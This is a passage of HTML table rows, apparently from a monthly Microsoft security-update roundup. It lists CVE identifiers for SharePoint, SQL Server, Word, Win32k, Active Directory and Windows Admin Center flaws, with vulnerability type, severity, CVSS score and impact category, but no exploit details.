  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55126"><span>CVE-2026-55126</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55135"><span>CVE-2026-55135</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">4.6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56157"><span>CVE-2026-56157</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47296"><span>CVE-2026-47296</span></a></td>
  <td width="256" class="xl74">Microsoft SQL Server
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55002"><span>CVE-2026-55002</span></a></td>
  <td width="256" class="xl74">Microsoft SQL Server
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47295"><span>CVE-2026-47295</span></a></td>
  <td width="256" class="xl74">Microsoft SQL Server
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50468"><span>CVE-2026-50468</span></a></td>
  <td width="256" class="xl74">Microsoft SQL Server
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54116"><span>CVE-2026-54116</span></a></td>
  <td width="256" class="xl74">Microsoft SQL Server
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42900"><span>CVE-2026-42900</span></a></td>
  <td width="256" class="xl74">Microsoft Windows App
  Store Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49784"><span>CVE-2026-49784</span></a></td>
  <td width="256" class="xl74">Microsoft Windows App
  Store Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50356"><span>CVE-2026-50356</span></a></td>
  <td width="256" class="xl74">Microsoft Windows App
  Store Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49165"><span>CVE-2026-49165</span></a></td>
  <td width="256" class="xl74">Microsoft Windows App
  Store Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54993"><span>CVE-2026-54993</span></a></td>
  <td width="256" class="xl74">Microsoft Windows
  Media Foundation Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58610"><span>CVE-2026-58610</span></a></td>
  <td width="256" class="xl74">Microsoft Windows
  Media Foundation Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55050"><span>CVE-2026-55050</span></a></td>
  <td width="256" class="xl74">Microsoft Word
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55124"><span>CVE-2026-55124</span></a></td>
  <td width="256" class="xl74">Microsoft Word
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55142"><span>CVE-2026-55142</span></a></td>
  <td width="256" class="xl74">Microsoft Word
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55032"><span>CVE-2026-55032</span></a></td>
  <td width="256" class="xl74">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55055"><span>CVE-2026-55055</span></a></td>
  <td width="256" class="xl74">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55038"><span>CVE-2026-55038</span></a></td>
  <td width="256" class="xl74">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55134"><span>CVE-2026-55134</span></a></td>
  <td width="256" class="xl74">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55128"><span>CVE-2026-55128</span></a></td>
  <td width="256" class="xl74">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55130"><span>CVE-2026-55130</span></a></td>
  <td width="256" class="xl74">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50359"><span>CVE-2026-50359</span></a></td>
  <td width="256" class="xl74">Microsoft XML Core
  Services Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57097"><span>CVE-2026-57097</span></a></td>
  <td width="256" class="xl74">Microsoft XML Security
  Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50346"><span>CVE-2026-50346</span></a></td>
  <td width="256" class="xl74">Netlogon RPC Elevation
  of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50402"><span>CVE-2026-50402</span></a></td>
  <td width="256" class="xl74">NTFS Elevation of
  Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50506"><span>CVE-2026-50506</span></a></td>
  <td width="256" class="xl74">OData for ASP.NET and
  ASP.NET Core Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45646"><span>CVE-2026-45646</span></a></td>
  <td width="256" class="xl74">OData for ASP.NET and
  ASP.NET Core Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54989"><span>CVE-2026-54989</span></a></td>
  <td width="256" class="xl74">Quality Windows
  Audio/Video Experience (QWAVE) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50365"><span>CVE-2026-50365</span></a></td>
  <td width="256" class="xl74">Remote Access
  Management service/API (RPC server) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54990"><span>CVE-2026-54990</span></a></td>
  <td width="256" class="xl74">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">9.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58594"><span>CVE-2026-58594</span></a></td>
  <td width="256" class="xl74">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56190"><span>CVE-2026-56190</span></a></td>
  <td width="256" class="xl74">Remote Desktop
  Protocol Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">9.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49783"><span>CVE-2026-49783</span></a></td>
  <td width="256" class="xl74">Secure Boot Security
  Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42990"><span>CVE-2026-42990</span></a></td>
  <td width="256" class="xl74">SQL Server ODBC driver
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">9.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49168"><span>CVE-2026-49168</span></a></td>
  <td width="256" class="xl74">Storage Spaces Direct
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48581"><span>CVE-2026-48581</span></a></td>
  <td width="256" class="xl74">Surface Broker SDMA
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49180"><span>CVE-2026-49180</span></a></td>
  <td width="256" class="xl74">Universal Plug and
  Play (upnp.dll) Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50455"><span>CVE-2026-50455</span></a></td>
  <td width="256" class="xl74">Universal Plug and
  Play (upnp.dll) Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54111"><span>CVE-2026-54111</span></a></td>
  <td width="256" class="xl74">Universal Print
  Management Service Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58543"><span>CVE-2026-58543</span></a></td>
  <td width="256" class="xl74">Universal Print
  Management Service Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58601"><span>CVE-2026-58601</span></a></td>
  <td width="256" class="xl74">Virtual Hard Disk
  (VHD) Miniport Driver Elevation of Privilege Vulernability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50520"><span>CVE-2026-50520</span></a></td>
  <td width="256" class="xl74">Visual Studio Code
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45496"><span>CVE-2026-45496</span></a></td>
  <td width="256" class="xl74">Visual Studio Code
  Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57101"><span>CVE-2026-57101</span></a></td>
  <td width="256" class="xl74">Visual Studio Code
  Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57102"><span>CVE-2026-57102</span></a></td>
  <td width="256" class="xl74">Visual Studio Code
  Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47305"><span>CVE-2026-47305</span></a></td>
  <td width="256" class="xl74">Visual Studio Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49805"><span>CVE-2026-49805</span></a></td>
  <td width="256" class="xl74">Win32k Elevation of
  Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50297"><span>CVE-2026-50297</span></a></td>
  <td width="256" class="xl74">Win32k Elevation of
  Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50325"><span>CVE-2026-50325</span></a></td>
  <td width="256" class="xl74">Win32k Elevation of
  Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50489"><span>CVE-2026-50489</span></a></td>
  <td width="256" class="xl74">Win32k Elevation of
  Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57095"><span>CVE-2026-57095</span></a></td>
  <td width="256" class="xl74">Win32k Elevation of
  Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50416"><span>CVE-2026-50416</span></a></td>
  <td width="256" class="xl74">Win32k Information
  Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">3.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56184"><span>CVE-2026-56184</span></a></td>
  <td width="256" class="xl74">Win32k Information
  Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50432"><span>CVE-2026-50432</span></a></td>
  <td width="256" class="xl74">Window Virtual
  Filtering Platform (VFP) Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54119"><span>CVE-2026-54119</span></a></td>
  <td width="256" class="xl74">Windows Active
  Directory Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57976"><span>CVE-2026-57976</span></a></td>
  <td width="256" class="xl74">Windows Active
  Directory Domain Services Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50366"><span>CVE-2026-50366</span></a></td>
  <td width="256" class="xl74">Windows Active
  Directory Domain Services Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49178"><span>CVE-2026-49178</span></a></td>
  <td width="256" class="xl74">Windows Active
  Directory Domain Services Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58529"><span>CVE-2026-58529</span></a></td>
  <td width="256" class="xl74">Windows Active
  Directory Federation Services (ADFS) Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54983"><span>CVE-2026-54983</span></a></td>
  <td width="256" class="xl74">Windows Active
  Directory Federation Services Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50695"><span>CVE-2026-50695</span></a></td>
  <td width="256" class="xl74">Windows Active
  Directory Federation Services Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50304"><span>CVE-2026-50304</span></a></td>
  <td width="256" class="xl74">Windows Active
  Directory Federation Services Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50368"><span>CVE-2026-50368</span></a></td>
  <td width="256" class="xl74">Windows Active
  Directory Federation Services Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50324"><span>CVE-2026-50324</span></a></td>
  <td width="256" class="xl74">Windows Active
  Directory Federation Services Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.9</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50355"><span>CVE-2026-50355</span></a></td>
  <td width="256" class="xl74">Windows Active
  Directory Federation Services Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50411"><span>CVE-2026-50411</span></a></td>
  <td width="256" class="xl74">Windows Active
  Directory Federation Services Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="73">
  <td class="xl67" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58631"><span>CVE-2026-58631</span></a></td>
  <td width="256" class="xl74">Windows Admin Center
  (WAC) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="73">
  <td class="xl67" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56196"><span>CVE-2026-56196</span></a></td>
  <td width="256" class="xl74">Windows Admin Center
  (WAC) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="73">
  <td class="xl67" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56197"><span>CVE-2026-56197</span></a></td>
  <td width="256" class="xl74">Windows Admin Center
  (WAC) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56169"><span>CVE-2026-56169</span></a></td>
  <td width="256" class="xl74">Windows Admin Center
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57107"><span>CVE-2026-57107</span></a></td>
  <td width="256" class="xl74">Windows Admin Center
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56185"><span>CVE-2026-56185</span></a></td>
  <td width="256" class="xl74">Windows Admin Center
  Information Disclosure Vulnerability</td>
